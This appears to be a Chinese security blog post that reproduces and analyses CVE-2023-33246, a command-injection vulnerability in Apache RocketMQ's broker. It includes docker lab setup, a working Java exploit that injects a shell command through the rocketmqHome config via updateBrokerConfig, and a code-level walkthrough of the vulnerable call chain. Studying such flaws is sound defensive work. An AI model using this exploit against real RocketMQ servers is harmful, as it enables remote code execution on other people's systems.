前言
环境搭建
根据参考文章,可以直接使用docker搭建环境:
1 2
| docker pull apache/rocketmq:4.9.1 docker pull apacherocketmq/rocketmq-console:2.0.0
|
看起来是一个RocketMQ镜像,一个控制台镜像。
根据参考文章的描述,RocketMQ主要由Name Server和两个Broker组成,实验环境中为了方便搭建,将一个Broker当成两个来用。
首先启动Name Server镜像:
1
| docker run -d --name namesrv -p 9876:9876 apache/rocketmq:4.9.1 sh mqnamesrv
|
mqnamesrv是默认目录下的一个shell脚本,负责启动Name Server服务:
1
| sh ${ROCKETMQ_HOME}/bin/runserver.sh org.apache.rocketmq.namesrv.NamesrvStartup $@
|
然后编写broker.conf文件配置Broker:
1 2 3 4 5 6 7 8
| brokerClusterName = DefaultCluster brokerName = broker-a brokerId = 0 deleteWhen = 04 fileReservedTime = 48 brokerRole = ASYNC_MASTER flushDiskType = SYNC_FLUSH brokerIP1 = 192.168.88.129
|
将权限设置为Master,简单来说就是该Broker拥有读写权限,将brokerIP1设置为访问IP。再启动Broker镜像,将该配置文件映射进去:
1
| docker run -d -p 10911:10911 -p 10909:10909 -v /home/aluvion/桌面/rocketmq/broker.conf:/opt/rocketmq/conf/broker.conf --name broker --link namesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
|
mqbroker也是默认目录下的一个shell脚本,负责启动Broker服务:
1
| sh ${ROCKETMQ_HOME}/bin/runbroker.sh org.apache.rocketmq.broker.BrokerStartup $@
|
最后启动Console控制台镜像:
1
| docker run -dit --name console -p 8080:8080 --link namesrv:namesrv -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=namesrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0
|
为了测试实验环境,先整个项目来运行利用代码,需要的依赖:
1 2 3 4 5 6
| <dependency> <groupId>org.apache.rocketmq</groupId> <artifactId>rocketmq-tools</artifactId> <version>5.1.3</version> </dependency>
|
仿照Github上的利用工具:
1 2 3 4 5 6 7 8 9 10
| Properties props = new Properties(); String ip = "192.168.88.129"; props.setProperty("rocketmqHome", "-c $@|sh . echo echo 123 > /tmp/Pwn;"); props.setProperty("filterServerNums", "1"); DefaultMQAdminExt admin = new DefaultMQAdminExt(); admin.setNamesrvAddr(ip + ":9876"); admin.start(); admin.updateBrokerConfig(ip + ":10911", props); admin.shutdown(); System.out.println("攻击已结束!请稍后查看结果!");
|
关于命令为什么能跑,可以看这篇文章,运行后看到命令成功执行:
1 2
| [rocketmq@83633e592271 bin]$ cat /tmp/Pwn 123
|
看起来环境搭建成功了,这么看下来,好像控制台镜像没什么用。
漏洞分析
漏洞发生在Broker服务,找一找服务代码:
在运行的进程中找到服务进程:
1
| Djava.ext.dirs=/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.302.b08-0.el7_9.x86_64/jre/lib/ext:/home/rocketmq/rocketmq-4.9.1/bin/../lib -cp .:/home/rocketmq/rocketmq-4.9.1/bin/../conf: org.apache.rocketmq.broker.BrokerStartup
|
翻一下lib目录,找到可以的jar包rocketmq-broker-4.9.1.jar,弄到主机上导入IDEA中,开始分析。
根据修复补丁,可以看到主要的修改是删去了FilterServerUtil和FilterServerManager这两个类。
FilterServerUtil类的代码较少,主要内容为一个callShell函数:
1 2 3 4 5 6 7 8 9 10 11
| public static void callShell(String shellString, InternalLogger log) { Process process = null;
try { String[] cmdArray = splitShellString(shellString); process = Runtime.getRuntime().exec(cmdArray); process.waitFor(); log.info("CallShell: <{}> OK", shellString); } ... }
|
逻辑很简单,就是调用Runtime执行传入的系统命令。
而FilterServerManager类代码多一些,在createFilterServer函数中存在调用FilterServerUtil.callShell函数的代码:
1 2 3 4 5 6 7 8 9
| public void createFilterServer() { int more = this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size(); String cmd = this.buildStartCommand();
for(int i = 0; i < more; ++i) { FilterServerUtil.callShell(cmd, log); }
}
|
命令由buildStartCommand函数构建:
1
| String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config)
|
将名为rocketmqHome的配置项拼接到命令模板中,因此若该配置项可控和函数调用链皆可控,就存在命令注入的风险。
继续往上寻找调用链,找到start函数:
1 2 3 4 5 6 7 8 9 10 11 12 13
| public void start() {
this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() { @Override public void run() { try { FilterServerManager.this.createFilterServer(); } catch (Exception e) { log.error("", e); } } }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS); }
|
可以看到,在start函数被调用后,每隔30秒createFilterServer函数就会被自动调用,因此如果能在运行过程中修改rocketmqHome配置项,就能通过其自动调用完成命令注入。
观察Broker的启动命令,找到BrokerStartup类的main函数,可以看到其调用了BrokerController.start函数:
1 2 3
| if (this.filterServerManager != null) { this.filterServerManager.start(); }
|
因此只需要修改rocketmqHome配置项就能实现命令注入,根据参考文章,客户端可以通过DefaultMQAdminExt类的updateBrokerConfig函数修改Broker的配置,其中就包括了rocketmqHome配置项。至此,漏洞利用链完成。
漏洞复现
如环境搭建中的漏洞测试代码。
参考
一文学会RocketMQ远程命令执行漏洞(CVE-2023-33246)
Apache RocketMQ CVE-2023-33246 远程代码执行漏洞
Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析